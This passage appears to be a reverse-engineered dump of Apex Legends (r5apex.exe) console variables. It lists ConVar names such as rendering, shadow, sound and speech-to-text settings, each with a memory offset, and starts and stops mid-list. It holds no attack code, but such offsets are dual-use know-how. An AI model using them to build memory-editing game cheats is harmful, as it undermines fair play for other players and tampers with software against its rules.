portal_use_player_avoidance +r5apex.exe!0x01e85680 ConVar postdataupdate_threaded +r5apex.exe!0x01e84e00 ConVar postdataupdate_threaded_chunksize +r5apex.exe!0x01195060 ConVar printConnectTimings +r5apex.exe!0x018acc60 ConVar print_timeprefix +r5apex.exe!0x01e7a6e0 ConVar process_pending_vm_effects +r5apex.exe!0x01e6f680 ConVar progressbar_allow_wrap +r5apex.exe!0x01e6fae0 ConVar progressbar_high_precision +r5apex.exe!0x01e6f900 ConVar progressbar_single_bar +r5apex.exe!0x01e80640 ConVar projectile_fake_prediction_in_kill_replay +r5apex.exe!0x01e7d5d0 ConVar projectile_faketrails +r5apex.exe!0x01e7da70 ConVar projectile_filltrails +r5apex.exe!0x01e7c400 ConVar projectile_lagCompensationDebug +r5apex.exe!0x01e7d930 ConVar projectile_lagCompensationDebugDrawNoReg +r5apex.exe!0x01e7c740 ConVar projectile_lagCompensationDebugDrawTime +r5apex.exe!0x01e7d7f0 ConVar projectile_lagCompensationDebugExtra +r5apex.exe!0x01e7d9d0 ConVar projectile_lagCompensationDebugForceNoReg +r5apex.exe!0x01e7c6a0 ConVar projectile_lagCompensationDebugServerOffset +r5apex.exe!0x01e765d0 ConVar projectile_lagCompensationMissileTimeStepScalar +r5apex.exe!0x01e7d750 ConVar projectile_muzzleOffsetFirstPersonDecayDist +r5apex.exe!0x01e7ce50 ConVar projectile_muzzleOffsetFirstPersonDecayMaxTime +r5apex.exe!0x01e7cd30 ConVar projectile_muzzleOffsetThirdPersonDecayDist +r5apex.exe!0x01e7d890 ConVar projectile_muzzleOffsetThirdPersonDecayMaxTime +r5apex.exe!0x01e7d670 ConVar projectile_prediction +r5apex.exe!0x01e7d470 ConVar projectile_predictionErrorCorrectTime +r5apex.exe!0x01c2d8a0 ConVar prop_lightweightPropsSkipAnimData +r5apex.exe!0x018954a0 ConVar prop_survivalSkipsAnimData +r5apex.exe!0x01c99300 ConVar props_break_burst_rotation +r5apex.exe!0x01c99260 ConVar props_break_max_pieces +r5apex.exe!0x01c9d320 ConVar props_break_max_pieces_perframe +r5apex.exe!0x012cae60 ConVar publication_hostname +r5apex.exe!0x01e873a0 ConVar push_cl +r5apex.exe!0x01e85300 ConVar push_cl_always_update_prev_matrix +r5apex.exe!0x01c9d280 ConVar push_debug +r5apex.exe!0x01c9b9b0 ConVar push_debug_ent +r5apex.exe!0x01c986a0 ConVar push_ragdolls +r5apex.exe!0x01e5a260 ConVar pve_debug +r5apex.exe!0x01ca39c0 ConVar pvs_addWorkItemsAccum +r5apex.exe!0x01ca3d80 ConVar pvs_addWorkItemsThreshold_edges +r5apex.exe!0x01ca3ec0 ConVar pvs_addWorkItemsThreshold_leaves +r5apex.exe!0x01ca3f60 ConVar pvs_cullBoxes +r5apex.exe!0x01ca3ba0 ConVar pvs_debug +r5apex.exe!0x01ca3c40 ConVar pvs_frustumCullOnly +r5apex.exe!0x01c38150 ConVar pvs_start_early +r5apex.exe!0x01c8cf60 ConVar r_AirboatViewDampenDamp +r5apex.exe!0x01c907a0 ConVar r_AirboatViewDampenFreq +r5apex.exe!0x01c8dfd0 ConVar r_AirboatViewZHeight +r5apex.exe!0x01c90f70 ConVar r_JeepViewDampenDamp +r5apex.exe!0x01c8e3b0 ConVar r_JeepViewDampenFreq +r5apex.exe!0x01c5b330 ConVar r_VehicleViewDampen +r5apex.exe!0x01ca3ce0 ConVar r_WaterDrawReflection +r5apex.exe!0x012e0990 ConVar r_WaterDrawRefraction +r5apex.exe!0x01190470 ConVar r_aspectratio +r5apex.exe!0x01ca4640 ConVar r_blurmenubg +r5apex.exe!0x01882620 ConVar r_bone_matrix_bulk_update_threshold +r5apex.exe!0x0119b5c0 ConVar r_brush_queue_mode +r5apex.exe!0x0119c160 ConVar r_createmodeldecals +r5apex.exe!0x01193480 ConVar r_cullshadowworldmeshes +r5apex.exe!0x01c578b0 ConVar r_debug_draw_box_depth_test +r5apex.exe!0x0119c7e0 ConVar r_decal_cover_count +r5apex.exe!0x0118dd20 ConVar r_decal_cull_stretch_limit +r5apex.exe!0x0119a3a0 ConVar r_decal_draw_basis +r5apex.exe!0x0118d050 ConVar r_decal_drawclipped +r5apex.exe!0x0119cce0 ConVar r_decal_overlap_area +r5apex.exe!0x0119c0c0 ConVar r_decal_overlap_count +r5apex.exe!0x0119a580 ConVar r_decal_test_scale +r5apex.exe!0x011942f0 ConVar r_decals +r5apex.exe!0x012e5930 ConVar r_delay_texture_destroy +r5apex.exe!0x012e0b70 ConVar r_ditherFade +r5apex.exe!0x018a7f10 ConVar r_ditherFade +r5apex.exe!0x018a3990 ConVar r_ditherFadeShadows +r5apex.exe!0x01c37e10 ConVar r_drawallrenderables +r5apex.exe!0x01ca4820 ConVar r_drawalphasort +r5apex.exe!0x01198470 ConVar r_drawbrushmodels +r5apex.exe!0x01e59720 ConVar r_drawbrushmodels +r5apex.exe!0x0119be60 ConVar r_drawdecals +r5apex.exe!0x01e59540 ConVar r_drawdepth_of_blend2transparent +r5apex.exe!0x0118bea0 ConVar r_drawdlights +r5apex.exe!0x01191090 ConVar r_drawentities +r5apex.exe!0x0118dc80 ConVar r_drawlightdist +r5apex.exe!0x0118d330 ConVar r_drawlightinfo +r5apex.exe!0x0188ca60 ConVar r_drawmodelsinzfill +r5apex.exe!0x01e597c0 ConVar r_drawopaquerenderables +r5apex.exe!0x01c562a0 ConVar r_drawparticles +r5apex.exe!0x01e84fe0 ConVar r_drawrenderboxes +r5apex.exe!0x01ca45a0 ConVar r_drawscreenspaceparticles +r5apex.exe!0x01e58ba0 ConVar r_drawsky +r5apex.exe!0x01e58d80 ConVar r_drawskybox_deprecated +r5apex.exe!0x0118db10 ConVar r_drawstaticlight +r5apex.exe!0x01e594a0 ConVar r_drawstaticprops +r5apex.exe!0x01c42430 ConVar r_drawtracers +r5apex.exe!0x0119a8a0 ConVar r_drawvgui +r5apex.exe!0x01e58b00 ConVar r_drawviewmodel +r5apex.exe!0x01196ae0 ConVar r_drawworld +r5apex.exe!0x0118f000 ConVar r_dynamic +r5apex.exe!0x01e59280 ConVar r_earlyRenderables +r5apex.exe!0x018a3730 ConVar r_enableOriginSort +r5apex.exe!0x01ca4280 ConVar r_fadeincode +r5apex.exe!0x01c38270 ConVar r_farz +r5apex.exe!0x011960e0 ConVar r_fastzreject +r5apex.exe!0x01ca3a60 ConVar r_forcecheapwater +r5apex.exe!0x0188d120 ConVar r_jiggle_bones +r5apex.exe!0x011973f0 ConVar r_lightmap +r5apex.exe!0x01196e50 ConVar r_lightprobe_force_trans_dist +r5apex.exe!0x01197670 ConVar r_lightstyle +r5apex.exe!0x01194f20 ConVar r_lod +r5apex.exe!0x0119b840 ConVar r_lod +r5apex.exe!0x01c52b90 ConVar r_lod +r5apex.exe!0x01199070 ConVar r_lod_shift +r5apex.exe!0x01c4f010 ConVar r_lod_shift +r5apex.exe!0x01e73d80 ConVar r_lod_switch_scale +r5apex.exe!0x018a4c10 ConVar r_mapextents +r5apex.exe!0x01884ec0 ConVar r_modeldecal_maxtotal +r5apex.exe!0x01895720 ConVar r_nearz +r5apex.exe!0x012e9060 ConVar r_no_stalls +r5apex.exe!0x01882800 ConVar r_no_stalls +r5apex.exe!0x01882d80 ConVar r_no_stalls +r5apex.exe!0x01190ae0 ConVar r_norefresh +r5apex.exe!0x01e58920 ConVar r_particle_lighting_debug +r5apex.exe!0x01ca4000 ConVar r_particle_lighting_enable +r5apex.exe!0x01e8ada0 ConVar r_particle_lighting_enable +r5apex.exe!0x01e8a160 ConVar r_particle_lighting_force +r5apex.exe!0x01e8b050 ConVar r_particle_lighting_force +r5apex.exe!0x01ca4320 ConVar r_particle_low_res_debug +r5apex.exe!0x012e6e80 ConVar r_particle_low_res_draw_weight_tex +r5apex.exe!0x01e8aea0 ConVar r_particle_low_res_enable +r5apex.exe!0x01e8af40 ConVar r_particle_low_res_force +r5apex.exe!0x012e6de0 ConVar r_particle_low_res_tiled_composite +r5apex.exe!0x01c51090 ConVar r_particle_sim_spike_increment_ms +r5apex.exe!0x01c54b90 ConVar r_particle_sim_spike_threshold_ms +r5apex.exe!0x01c4d2f0 ConVar r_particle_timescale +r5apex.exe!0x0189f410 ConVar r_particles_early_distance_cull +r5apex.exe!0x01e86080 ConVar r_pos_debug +r5apex.exe!0x01e85540 ConVar r_render_pos_debug +r5apex.exe!0x012e1070 ConVar r_rimlight +r5apex.exe!0x01197a70 ConVar r_rootlod +r5apex.exe!0x01e89590 ConVar r_rootlod +r5apex.exe!0x01c3eae0 ConVar r_ropetranslucent +r5apex.exe!0x01c52df0 ConVar r_setupBoneWorkSize +r5apex.exe!0x01c567c0 ConVar r_setupBoneWorkerThreadhold +r5apex.exe!0x012e1110 ConVar r_shadowrendertotexture +r5apex.exe!0x01ca4780 ConVar r_sky_ignoreAngles +r5apex.exe!0x01c2f2c0 ConVar r_sort_trans_debug +r5apex.exe!0x018a3e90 ConVar r_sort_trans_debug_dist +r5apex.exe!0x01c50470 ConVar r_threaded_particles +r5apex.exe!0x01c4f390 ConVar r_updaterefracttexture +r5apex.exe!0x01c55970 ConVar r_updaterefracttexture_allowmultiple +r5apex.exe!0x0118b890 ConVar r_visambient +r5apex.exe!0x0118d470 ConVar r_visambient_orig +r5apex.exe!0x0118da70 ConVar r_visambient_point +r5apex.exe!0x0119c920 ConVar r_vismodellighting_lightpos +r5apex.exe!0x01c4eed0 ConVar r_vismodellighting_maxdist +r5apex.exe!0x01c529d0 ConVar r_vismodellighting_mindist +r5apex.exe!0x0119b7a0 ConVar r_vismodellighting_offset_x +r5apex.exe!0x0119a260 ConVar r_vismodellighting_offset_y +r5apex.exe!0x0119b3e0 ConVar r_vismodellighting_offset_z +r5apex.exe!0x018acba0 ConVar r_visualizeproplightcaching +r5apex.exe!0x01c9e980 ConVar r_visualizetraces +r5apex.exe!0x01c9e400 ConVar r_visualizetraces_duration +r5apex.exe!0x012e8780 ConVar r_volumetric_lighting_blur_count +r5apex.exe!0x012e86e0 ConVar r_volumetric_lighting_blur_type +r5apex.exe!0x012e8640 ConVar r_volumetric_lighting_enabled +r5apex.exe!0x012e88c0 ConVar r_volumetric_lighting_numSteps +r5apex.exe!0x012e8820 ConVar r_volumetric_lighting_rotate_dither +r5apex.exe!0x01ca3b00 ConVar r_waterforceexpensive +r5apex.exe!0x01ca3e20 ConVar r_waterforcereflectentities +r5apex.exe!0x01e59680 ConVar r_zfill +r5apex.exe!0x0188c780 ConVar ragdoll_debug +r5apex.exe!0x01c54fd0 ConVar ragdoll_sleepaftertime +r5apex.exe!0x01e5d140 ConVar rankedplay_display_enabled +r5apex.exe!0x01e5c5c0 ConVar rankedplay_voice_enabled +r5apex.exe!0x01261760 ConVar rate +r5apex.exe!0x01c9f910 ConVar reactive_wakeOnStop +r5apex.exe!0x01c3d8f0 ConVar real_time_update_dt +r5apex.exe!0x0119f7c0 ConVar recalculateOrigin_threaded_chunksize +r5apex.exe!0x012cf6e0 ConVar reconnect_available_timespan +r5apex.exe!0x012cf640 ConVar reconnect_check_platform_id +r5apex.exe!0x0129cba0 ConVar reconnect_debug +r5apex.exe!0x012cf780 ConVar reconnect_delay +r5apex.exe!0x01197530 ConVar reconnect_enabled +r5apex.exe!0x0118bcf0 ConVar reconnect_timeout +r5apex.exe!0x01e72bb0 ConVar remoteCalls_requireConnectionScriptsForViewPlayer +r5apex.exe!0x01199110 ConVar remoteMatchInfo_print +r5apex.exe!0x0119d3c0 ConVar replay_enable +r5apex.exe!0x0119b000 ConVar replay_prediction_smooth +r5apex.exe!0x01e86a40 ConVar report_cliententitysim +r5apex.exe!0x018a3d50 ConVar report_clientthinklist +r5apex.exe!0x0189dcd0 ConVar roamingcam_cameraspacemotion +r5apex.exe!0x0189fc10 ConVar roamingcam_downSpeedMult +r5apex.exe!0x018961f0 ConVar roamingcam_forwardSpeed +r5apex.exe!0x01c2eca0 ConVar roamingcam_forwardSpeed_fast +r5apex.exe!0x0189fb70 ConVar roamingcam_forwardSpeed_slow +r5apex.exe!0x018a6bd0 ConVar roamingcam_movesmoothing +r5apex.exe!0x01895170 ConVar roamingcam_rollSpeed +r5apex.exe!0x018a5a20 ConVar roamingcam_sideSpeedMult +r5apex.exe!0x01896640 ConVar roamingcam_smoothtime +r5apex.exe!0x018a4390 ConVar roamingcam_viewsmoothing +r5apex.exe!0x018949c0 ConVar rodeo_camera_smooth_blend_out_time +r5apex.exe!0x018931f0 ConVar rodeo_camera_smooth_enable +r5apex.exe!0x01e6e840 ConVar rodeoed_anims_enabled +r5apex.exe!0x01c4b530 ConVar rope_collide +r5apex.exe!0x01c49f10 ConVar rope_debug_shake +r5apex.exe!0x01c3c340 ConVar rope_parallelMeshBuilder +r5apex.exe!0x01c4ad30 ConVar rope_regenMeshEachDraw +r5apex.exe!0x01c3dc50 ConVar rope_shake +r5apex.exe!0x01c4a710 ConVar rope_texels_per_world_unit +r5apex.exe!0x01c39a50 ConVar rope_wiggle_harmonic_falloff +r5apex.exe!0x01c4bfb0 ConVar rope_wiggle_magnitude_loose +r5apex.exe!0x01c3eb80 ConVar rope_wiggle_magnitude_tight +r5apex.exe!0x01c47790 ConVar rope_wiggle_oscillate_speed +r5apex.exe!0x01c39770 ConVar rope_wiggle_rotate_speed +r5apex.exe!0x01c43ec0 ConVar rope_wiggle_zipline_min_points +r5apex.exe!0x01c391b0 ConVar rope_wind_dist +r5apex.exe!0x01892bd0 ConVar rotate_ents +r5apex.exe!0x0118fb40 ConVar rspn_motd +r5apex.exe!0x012e4800 ConVar rt_sync_message_pump +r5apex.exe!0x012e48a0 ConVar rt_worker +r5apex.exe!0x01e70340 ConVar ruiPanel_resArgName +r5apex.exe!0x01c54370 ConVar rui_asyncTracks +r5apex.exe!0x01e8e6c0 ConVar rui_defaultDebugFontFace +r5apex.exe!0x01e8ea20 ConVar rui_defaultFontFace +r5apex.exe!0x01e8d820 ConVar rui_defaultFontHeight +r5apex.exe!0x01e8cec0 ConVar rui_overrideVguiTextRendering +r5apex.exe!0x01298a60 ConVar rui_padDist +r5apex.exe!0x012989c0 ConVar rui_safeAreaFrac +r5apex.exe!0x01199ab0 ConVar rui_standardTextHeight +r5apex.exe!0x0129c880 ConVar save_enable +r5apex.exe!0x01e8d1e0 ConVar scheme_manager_font_debug +r5apex.exe!0x01c51c30 ConVar scr_centertime +r5apex.exe!0x0189de10 ConVar screen_indicator_back_range +r5apex.exe!0x018aa160 ConVar screen_indicator_ellipse_height +r5apex.exe!0x01895af0 ConVar screen_indicator_ellipse_width +r5apex.exe!0x0189fd50 ConVar screen_indicator_pitch_limit +r5apex.exe!0x018a0110 ConVar screen_indicator_pitch_scale +r5apex.exe!0x01c53dd0 ConVar screenfade_debug +r5apex.exe!0x01c9c670 ConVar scriptNetVar_categoryAsserts +r5apex.exe!0x01e59b80 ConVar script_compile_all_levels +r5apex.exe!0x01c522f0 ConVar script_debugger_connect_client_on_mapspawn +r5apex.exe!0x01e5eb50 ConVar script_debugger_connect_ui_auto +r5apex.exe!0x01e8f690 ConVar script_debugger_host +r5apex.exe!0x01e8f730 ConVar script_debugger_port_client +r5apex.exe!0x01e8f5f0 ConVar script_debugger_port_server +r5apex.exe!0x01e8f4b0 ConVar script_debugger_port_ui +r5apex.exe!0x01e902a0 ConVar script_disallow_newslot_on_globals +r5apex.exe!0x01e8f550 ConVar script_dump_simple +r5apex.exe!0x01e5b820 ConVar script_error_on_midgame_load +r5apex.exe!0x01e8f410 ConVar script_infinite_loop_ms +r5apex.exe!0x01e5bae0 ConVar script_parallel_trace_LOS_multiple +r5apex.exe!0x01c8e8f0 ConVar script_precache_errors +r5apex.exe!0x01c4eb10 ConVar script_printDeferredCalls +r5apex.exe!0x01e5c220 ConVar script_retry_after_compile_errors +r5apex.exe!0x01e5bca0 ConVar script_seasonNameQueryInterval +r5apex.exe!0x01e6f720 ConVar script_showErrorDialogs +r5apex.exe!0x012cb9d0 ConVar script_slopTimeBeforeBudgetEnforcement +r5apex.exe!0x01c54e10 ConVar script_window_client_precache +r5apex.exe!0x01c597d0 ConVar scriptremotefunctions_debug +r5apex.exe!0x01c8a650 ConVar scriptremotefunctions_resetOnlyUi +r5apex.exe!0x01c88a20 ConVar scriptremotefunctions_saveFuncName +r5apex.exe!0x01e5a4d0 ConVar seasonquest_force_missionscleared_count +r5apex.exe!0x01e5a430 ConVar seasonquest_force_treasurepacks_count +r5apex.exe!0x01884ad0 ConVar send_script_errors +r5apex.exe!0x01c93830 ConVar sequence_transitioner_enable +r5apex.exe!0x011981f0 ConVar serverFilter +r5apex.exe!0x012cac80 ConVar serverReports_hostname +r5apex.exe!0x0118b0d0 ConVar server_concommands_allways_network +r5apex.exe!0x012ceb60 ConVar server_query_interval +r5apex.exe!0x0188df00 ConVar sfm_record_hz +r5apex.exe!0x018a3390 ConVar shadow_always_update +r5apex.exe!0x018829e0 ConVar shadow_bleedfudge +r5apex.exe!0x011909a0 ConVar shadow_capable +r5apex.exe!0x01e58f60 ConVar shadow_clear_dist +r5apex.exe!0x01895a40 ConVar shadow_dbg_cone_depthtest +r5apex.exe!0x01894d90 ConVar shadow_dbg_cones +r5apex.exe!0x018a1250 ConVar shadow_dbg_draw +r5apex.exe!0x018a1110 ConVar shadow_default_filter_size +r5apex.exe!0x01c2e330 ConVar shadow_depth_dimen_min +r5apex.exe!0x018a2a70 ConVar shadow_depth_upres_factor_max +r5apex.exe!0x018a8d00 ConVar shadow_drawfrustum +r5apex.exe!0x0189ce30 ConVar shadow_dynamic_blendfactor +r5apex.exe!0x011966e0 ConVar shadow_enable +r5apex.exe!0x018a3fd0 ConVar shadow_esm_enable +r5apex.exe!0x0189ba40 ConVar shadow_filter_maxstep +r5apex.exe!0x01c37b10 ConVar shadow_info +r5apex.exe!0x01c2d800 ConVar shadow_lobby_mode_allowed +r5apex.exe!0x01c2ea10 ConVar shadow_max_downsizing_spot_updates +r5apex.exe!0x018acd80 ConVar shadow_max_dynamic_lobby +r5apex.exe!0x0189fa30 ConVar shadow_max_old_dynamic +r5apex.exe!0x018a6060 ConVar shadow_max_spot_updates +r5apex.exe!0x012dbc10 ConVar shadow_maxdynamic +r5apex.exe!0x0189c0b0 ConVar shadow_maxdynamic +r5apex.exe!0x018a34d0 ConVar shadow_min_count_smallest +r5apex.exe!0x01882bc0 ConVar shadow_minvariance +r5apex.exe!0x01c37f70 ConVar shadow_multisampled +r5apex.exe!0x0189dd70 ConVar shadow_noLOD +r5apex.exe!0x01c2dbc0 ConVar shadow_show_spot_udpate_infos +r5apex.exe!0x018a90e0 ConVar shadow_tools_depth_dimen_min +r5apex.exe!0x018a3850 ConVar shadow_tools_depth_upres_factor_max +r5apex.exe!0x018a8a00 ConVar shadow_tools_min_count_smallest +r5apex.exe!0x01c2da00 ConVar shadow_tools_mode +r5apex.exe!0x018a9e30 ConVar shadow_update_culling +r5apex.exe!0x018946a0 ConVar shake_angleFactor_human +r5apex.exe!0x01890d60 ConVar shake_angleFactor_titan +r5apex.exe!0x01c4fe70 ConVar shake_basicPitchFactor +r5apex.exe!0x01c51b90 ConVar shake_basicRandomRollFactor +r5apex.exe!0x01893330 ConVar shake_offsetFactor_human +r5apex.exe!0x01890600 ConVar shake_offsetFactor_titan +r5apex.exe!0x01c2e5b0 ConVar shake_viewmodelFactor_ads_human +r5apex.exe!0x01c2db20 ConVar shake_viewmodelFactor_ads_titan +r5apex.exe!0x0189dc30 ConVar shake_viewmodelFactor_human +r5apex.exe!0x01c2e650 ConVar shake_viewmodelFactor_titan +r5apex.exe!0x012e1390 ConVar showfps_enabled +r5apex.exe!0x012de350 ConVar showfps_heightpercent +r5apex.exe!0x012d67f0 ConVar showfps_mouse_latency +r5apex.exe!0x012e0ad0 ConVar showfps_smoothtime +r5apex.exe!0x012e1b10 ConVar showfps_spinner +r5apex.exe!0x012de5b0 ConVar showmem_enabled +r5apex.exe!0x012e1570 ConVar showmem_mode_bottom +r5apex.exe!0x012e1a70 ConVar showmem_mode_top +r5apex.exe!0x01c532d0 ConVar showmemnumstats +r5apex.exe!0x01c52390 ConVar showmemnumstatsrefresh +r5apex.exe!0x012e1750 ConVar shownet_enabled +r5apex.exe!0x012e12f0 ConVar showsnapshot_enabled +r5apex.exe!0x01c3cfb0 ConVar sidearmSwapSelectCooldown +r5apex.exe!0x01c47410 ConVar sidearmSwapSelectDoubleTapTime +r5apex.exe!0x011916f0 ConVar single_frame_shutdown_for_reload +r5apex.exe!0x012cd050 ConVar singlestep +r5apex.exe!0x0119b2a0 ConVar skill_arena +r5apex.exe!0x0119ae20 ConVar skill_dediOnly +r5apex.exe!0x0119c2a0 ConVar skill_enabled +r5apex.exe!0x01191830 ConVar skill_hostname +r5apex.exe!0x01c5c460 ConVar skip_jump_height_fraction +r5apex.exe!0x01c8ed40 ConVar skip_jump_height_speed +r5apex.exe!0x01c900e0 ConVar skip_replenish_double_jump +r5apex.exe!0x01c5a550 ConVar skip_sounds +r5apex.exe!0x01c8fbc0 ConVar skip_speed_reduce +r5apex.exe!0x01c8ccb0 ConVar skip_speed_retain +r5apex.exe!0x01c90cc0 ConVar skip_time +r5apex.exe!0x01199b50 ConVar sleep_when_meeting_framerate +r5apex.exe!0x0119ca60 ConVar sleep_when_meeting_framerate_headroom_ms +r5apex.exe!0x01c8bda0 ConVar slide_auto_stand +r5apex.exe!0x01c59650 ConVar slide_max_angle_dot +r5apex.exe!0x01c5c5c0 ConVar slide_step_velocity_reduction +r5apex.exe!0x01ca1c10 ConVar slide_viewTiltDecreaseSpeed +r5apex.exe!0x01ca20b0 ConVar slide_viewTiltIncreaseSpeed +r5apex.exe!0x01ca0530 ConVar slide_viewTiltPlayerSpeed +r5apex.exe!0x01ca1480 ConVar slide_viewTiltSide +r5apex.exe!0x01c86030 ConVar slide_whileInAir +r5apex.exe!0x0118cfb0 ConVar slowconsolelog_old_logic +r5apex.exe!0x01ca1e30 ConVar smoothstairs_lunge +r5apex.exe!0x0118c3b0 ConVar sort_opaque_meshes +r5apex.exe!0x018a1e90 ConVar sound_classic_music +r5apex.exe!0x01c4d1d0 ConVar sound_entity_seek_snap +r5apex.exe!0x01e5a030 ConVar sound_musicReduced +r5apex.exe!0x01c38310 ConVar sound_num_speakers +r5apex.exe!0x01e71a80 ConVar sound_only_warn_on_missing_sound_events_in_client_script +r5apex.exe!0x012619a0 ConVar sound_printloaderrors +r5apex.exe!0x0189cf70 ConVar sound_volume +r5apex.exe!0x018a4530 ConVar sound_volume_dialogue +r5apex.exe!0x018a4430 ConVar sound_volume_dialogue_sp +r5apex.exe!0x018a6a90 ConVar sound_volume_music_game +r5apex.exe!0x018a4b50 ConVar sound_volume_music_game_sp +r5apex.exe!0x018a3f30 ConVar sound_volume_music_lobby +r5apex.exe!0x018950d0 ConVar sound_volume_sfx +r5apex.exe!0x01c2ed40 ConVar sound_volume_sfx_sp +r5apex.exe!0x01c2efa0 ConVar sound_volume_voice +r5apex.exe!0x018a9ed0 ConVar sound_without_focus +r5apex.exe!0x01c472f0 ConVar soundscape_fadetime +r5apex.exe!0x01c45770 ConVar soundscape_message +r5apex.exe!0x01c487b0 ConVar soundscape_radius_debug +r5apex.exe!0x0188cc40 ConVar soundtrigger_repeat_interval +r5apex.exe!0x011991b0 ConVar sp_not_focus_pause +r5apex.exe!0x01882580 ConVar spam_skinning_matrices_used +r5apex.exe!0x01882760 ConVar spam_skinning_matrices_used_detailed +r5apex.exe!0x01c5b0b0 ConVar spatial_partition_deadlock_assert +r5apex.exe!0x018941c0 ConVar spectator_command_interval +r5apex.exe!0x01e73cc0 ConVar speech_queue_bytes +r5apex.exe!0x012d0ba0 ConVar speechtotext_audioenabled +r5apex.exe!0x012d0a60 ConVar speechtotext_enabled +r5apex.exe!0x012d09c0 ConVar speechtotext_forcedisabled +r5apex.exe!0x012d07e0 ConVar speechtotext_hostname +r5apex.exe!0x012d0920 ConVar speechtotext_msg_droptimeout +r5apex.exe!0x012cf820 ConVar speechtotext_path +r5apex.exe!0x012d0b00 ConVar speechtotext_quiettime +r5apex.exe!0x012d0560 ConVar speechtotext_stats_errorspermin +r5apex.exe!0x012d0880 ConVar speechtotext_stats_interval +r5apex.exe!0x012d06a0 ConVar speechtotext_stats_senderrors +r5apex.exe!0x012d0600 ConVar speechtotext_stats_sendrequests +r5apex.exe!0x012d0740 ConVar speechtotext_stats_sendsuccess +r5apex.exe!0x01193020 ConVar speechtotexttoken_hostname +r5apex.exe!0x0119e480 ConVar speex_audio_recording +r5apex.exe!0x0119d6e0 ConVar speex_audio_value +r5apex.exe!0x012d3b60 ConVar speex_preprocess_agc_max_gain +r5apex.exe!0x012d37a0 ConVar speex_preprocess_noise_suppress +r5apex.exe!0x012d3ac0 ConVar speex_preprocess_set_agc_decrenment +r5apex.exe!0x012d3700 ConVar speex_preprocess_set_agc_increment +r5apex.exe!0x012d3980 ConVar speex_preprocess_set_agc_target +r5apex.exe!0x0119d8c0 ConVar speex_quiet_threshold +r5apex.exe!0x0119da00 ConVar speex_quiet_window +r5apex.exe!0x012d3840 ConVar speex_set_enh +r5apex.exe!0x012d38e0 ConVar speex_use_highpass +r5apex.exe!0x012d3a20 ConVar speex_use_preproser +r5apex.exe!0x01e5c2c0 ConVar spinner_debug_info +r5apex.exe!0x01ca0c80 ConVar sprint_powerdrain +r5apex.exe!0x01c2dce0 ConVar sprint_view_shake_style +r5apex.exe!0x01c56c60 ConVar sprinttilt_accel +r5apex.exe!0x01c8d440 ConVar sprinttilt_maxvel +r5apex.exe!0x01c59fd0 ConVar sprinttilt_turnrange +r5apex.exe!0x01c50ed0 ConVar ss_enable +r5apex.exe!0x01c4ee30 ConVar ss_force_primary_fullscreen +r5apex.exe!0x01c45950 ConVar ss_mimic +r5apex.exe!0x01c511d0 ConVar ss_splitmode +r5apex.exe!0x01c53a10 ConVar ss_verticalsplit +r5apex.exe!0x01c37c50 ConVar ss_viewmodelfov +r5apex.exe!0x0129aa40 ConVar ss_voice_hearpartner +r5apex.exe!0x012e7240 ConVar ssao_allow_partial +r5apex.exe!0x012e74c0 ConVar ssao_blur +r5apex.exe!0x012e7920 ConVar ssao_blur_edge_sharpness +r5apex.exe!0x012e7740 ConVar ssao_depth_max +r5apex.exe!0x012e7100 ConVar ssao_downsample +r5apex.exe!0x012e7420 ConVar ssao_enabled +r5apex.exe!0x012e77e0 ConVar ssao_exponent +r5apex.exe!0x012e7060 ConVar ssao_jitter_scale +r5apex.exe!0x012e7a60 ConVar ssao_max_res +r5apex.exe!0x012e72e0 ConVar ssao_max_res_threshold +r5apex.exe!0x012e6fc0 ConVar ssao_num_directions +r5apex.exe!0x012e7ec0 ConVar ssao_num_steps +r5apex.exe!0x012e7ce0 ConVar ssao_on_everything +r5apex.exe!0x012e6f20 ConVar ssao_radius +r5apex.exe!0x012e7600 ConVar ssao_radius_in_lobby +r5apex.exe!0x012e3ea0 ConVar ssao_show +r5apex.exe!0x012e7c40 ConVar ssao_show +r5apex.exe!0x012e8000 ConVar ssao_show +r5apex.exe!0x012e71a0 ConVar ssao_snap_uv +r5apex.exe!0x012e79c0 ConVar ssao_tech +r5apex.exe!0x01e590a0 ConVar ssao_tech +r5apex.exe!0x012e7f60 ConVar ssao_upsample_ranged +r5apex.exe!0x0119b140 ConVar startButtonCommand +r5apex.exe!0x01199e60 ConVar staticProp_budget +r5apex.exe!0x0189ced0 ConVar staticProp_buildlists_on_worker +r5apex.exe!0x0119b340 ConVar staticProp_debug_draw +r5apex.exe!0x01199a10 ConVar staticProp_earlyDepthPrepass +r5apex.exe!0x0119c740 ConVar staticProp_gather_size_weight +r5apex.exe!0x01199fa0 ConVar staticProp_max_scaled_dist +r5apex.exe!0x0119ce20 ConVar staticProp_no_fade_scalar +r5apex.exe!0x01e595e0 ConVar staticProp_refineDrawOnWorker +r5apex.exe!0x0119a4e0 ConVar static_prop_dist_debug_draw +r5apex.exe!0x012d89b0 ConVar static_shadow +r5apex.exe!0x01895c10 ConVar static_shadow +r5apex.exe!0x018a42f0 ConVar static_shadow_bounds_per_env +r5apex.exe!0x01e589c0 ConVar static_shadow_debug_2d +r5apex.exe!0x018a2c30 ConVar static_shadow_debug_dirty_rects +r5apex.exe!0x01c37d70 ConVar static_shadow_depth_bias_scale +r5apex.exe!0x0189fcb0 ConVar static_shadow_expand_z +r5apex.exe!0x018a2b90 ConVar static_shadow_good_merge_ratio +r5apex.exe!0x018a93d0 ConVar static_shadow_good_merge_score +r5apex.exe!0x01c2ede0 ConVar static_shadow_prop_min_size +r5apex.exe!0x012e1610 ConVar static_shadow_res +r5apex.exe!0x018a11b0 ConVar static_shadow_shrink_culler +r5apex.exe!0x012e1890 ConVar static_shadow_use_d16 +r5apex.exe!0x0189d150 ConVar static_shadow_uses_shadow_lod +r5apex.exe!0x011928a0 ConVar staticfile_hostname +r5apex.exe!0x01193ff0 ConVar stats_hostname +r5apex.exe!0x01c98590 ConVar status_effect_warning_level +r5apex.exe!0x012d1180 ConVar steam_crossProgression +r5apex.exe!0x012d12a0 ConVar steam_debug +r5apex.exe!0x012d0cc0 ConVar steam_id +r5apex.exe!0x012d0e60 ConVar steam_name +r5apex.exe!0x012d0fa0 ConVar steamlink_hostname +r5apex.exe!0x012e5010 ConVar stream_addnoise +r5apex.exe!0x012e4bd0 ConVar stream_bsp_bucket_bias +r5apex.exe!0x012e55b0 ConVar stream_bsp_dist_scale +r5apex.exe!0x01e89950 ConVar stream_cache_capacity +r5apex.exe!0x01e89a90 ConVar stream_cache_capacity_while_loading +r5apex.exe!0x01e89630 ConVar stream_cache_high_priority_static_models +r5apex.exe!0x01e89330 ConVar stream_cache_multithreaded +r5apex.exe!0x01e894b0 ConVar stream_cache_preload_from_rpak +r5apex.exe!0x01e898b0 